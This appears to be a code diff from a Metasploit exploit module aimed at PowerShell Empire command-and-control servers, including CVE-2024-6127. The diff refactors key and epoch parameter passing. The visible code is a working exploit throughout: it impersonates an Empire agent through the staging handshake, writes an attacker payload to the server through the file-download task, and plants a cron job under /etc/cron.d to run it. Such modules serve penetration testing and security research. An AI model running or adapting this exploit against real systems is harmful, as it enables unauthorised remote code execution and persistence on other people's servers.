@@ -199,12 +199,11 @@ def get_staging_key
199
199
@staging_key
200
200
end
201
201
202
- def write_file ( path , data , session_id , session_key , opts )
202
+ def write_file ( path , data , session_id , session_key , server_epoch )
203
203
if datastore [ 'CVE' ] == 'CVE-2024-6127'
204
- write_file_cve_2024_6127 ( path , data , session_id , session_key , opts [ :staging_key ] )
204
+ write_file_cve_2024_6127 ( path , data , session_id , session_key )
205
205
return
206
206
end
207
- server_epoch = opts [ :server_epoch ]
208
207
209
208
# target_url.path default traffic profile for empire agent communication
210
209
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
@@ -261,7 +260,7 @@ def exploit
261
260
# This stage is unnecessary for our purposes.
262
261
session_id = SecureRandom . alphanumeric ( 8 ) . upcase
263
262
dummy = SecureRandom . alphanumeric ( 8 )
264
- send_data_to_stage ( @staging_key , dummy , @staging_key , STAGE0 , session_id )
263
+ send_data_to_stage ( @staging_key , dummy , STAGE0 , session_id )
265
264
266
265
# stage1
267
266
dh = OpenSSL ::PKey ::DH . new (
@@ -277,7 +276,7 @@ def exploit
277
276
end
278
277
private_key = dh . priv_key . to_i
279
278
public_key = dh . pub_key . to_s
280
- res = send_data_to_stage ( @staging_key , public_key , @staging_key , STAGE1 , session_id )
279
+ res = send_data_to_stage ( @staging_key , public_key , STAGE1 , session_id )
281
280
fail_with ( Failure ::Unknown , 'Failed to send the key to STAGE1' ) unless res && res . code == 200
282
281
vprint_good ( 'Successfully sent the key to STAGE1' )
283
282
@@ -299,11 +298,11 @@ def exploit
299
298
300
299
# stage2
301
300
sysinfo = "#{ nonce + 1 } |#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } ||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64" . encode ( 'UTF-8' )
302
- res = send_data_to_stage ( session_key , sysinfo , @staging_key , STAGE2 , session_id )
301
+ res = send_data_to_stage ( session_key , sysinfo , STAGE2 , session_id )
303
302
fail_with ( Failure ::Unknown , 'Failed to communicate with STAGE2' ) unless res && res . code == 200
304
303
aes_decrypt ( session_key , res . body )
305
304
306
- opts = { staging_key : @staging_key }
305
+ server_epoch = nil
307
306
log_path = "/var/lib/powershell-empire/empire/server/downloads/#{ session_id } /agent.log"
308
307
309
308
else
@@ -327,7 +326,6 @@ def exploit
327
326
session_key = body [ 10 ..]
328
327
print_good ( 'Successfully negotiated an artificial Empire agent' )
329
328
330
- opts = { server_epoch : server_epoch }
331
329
log_path = '/agent.log'
332
330
333
331
end
@@ -347,12 +345,12 @@ def exploit
347
345
end
348
346
349
347
print_status ( "Writing payload to #{ payload_path } " )
350
- write_file ( payload_path , payload_data , session_id , session_key , opts )
348
+ write_file ( payload_path , payload_data , session_id , session_key , server_epoch )
351
349
352
350
cron_path = '/etc/cron.d/' + rand_text_alpha ( 8 )
353
351
print_status ( "Writing cron job to #{ cron_path } " )
354
352
355
- write_file ( cron_path , cron_file ( cron_command ) , session_id , session_key , opts )
353
+ write_file ( cron_path , cron_file ( cron_command ) , session_id , session_key , server_epoch )
356
354
print_status ( 'Waiting for cron job to run, can take up to 60 seconds' )
357
355
358
356
register_files_for_cleanup ( cron_path )
@@ -362,10 +360,10 @@ def exploit
362
360
register_files_for_cleanup ( log_path )
363
361
end
364
362
365
- def build_routing_packet ( staging_key , meta = 0 , enc_data = '' . b , session_id = '00000000' )
363
+ def build_routing_packet ( meta = 0 , enc_data = '' . b , session_id = '00000000' )
366
364
data = session_id + [ 2 , meta , 0 , enc_data . bytes . length ] . pack ( 'C2SL' )
367
365
rc4_iv = SecureRandom . random_bytes ( 4 )
368
- key = rc4_iv + staging_key
366
+ key = rc4_iv + @ staging_key
369
367
rc4_enc_data = Rex ::Crypto . rc4 ( key , data )
370
368
rc4_iv + rc4_enc_data + enc_data
371
369
end
@@ -425,7 +423,7 @@ def to_bytes(num, length = 1, little_endian: false)
425
423
bytes_array . pack ( 'C*' )
426
424
end
427
425
428
- def write_file_cve_2024_6127 ( path , data , session_id , session_key , staging_key )
426
+ def write_file_cve_2024_6127 ( path , data , session_id , session_key )
429
427
path = path . split ( '/' ) . join ( '\\' )
430
428
packet = build_response_packet (
431
429
TASK_DOWNLOAD ,
@@ -436,12 +434,12 @@ def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
436
434
compress ( data )
437
435
] . join ( '|' )
438
436
)
439
- send_data_to_stage ( session_key , packet , staging_key , RESULT_POST , session_id )
437
+ send_data_to_stage ( session_key , packet , RESULT_POST , session_id )
440
438
end
441
439
442
- def send_data_to_stage ( session_key , packet , staging_key , task_id , session_id )
440
+ def send_data_to_stage ( session_key , packet , task_id , session_id )
443
441
enc_packet = aes_encrypt_then_hmac ( session_key , packet )
444
- data = build_routing_packet ( staging_key , task_id , enc_packet , session_id )
442
+ data = build_routing_packet ( task_id , enc_packet , session_id )
445
443
res = send_request_cgi ( {
446
444
'data' => data ,
447
445
'method' => 'POST' ,
0 commit comments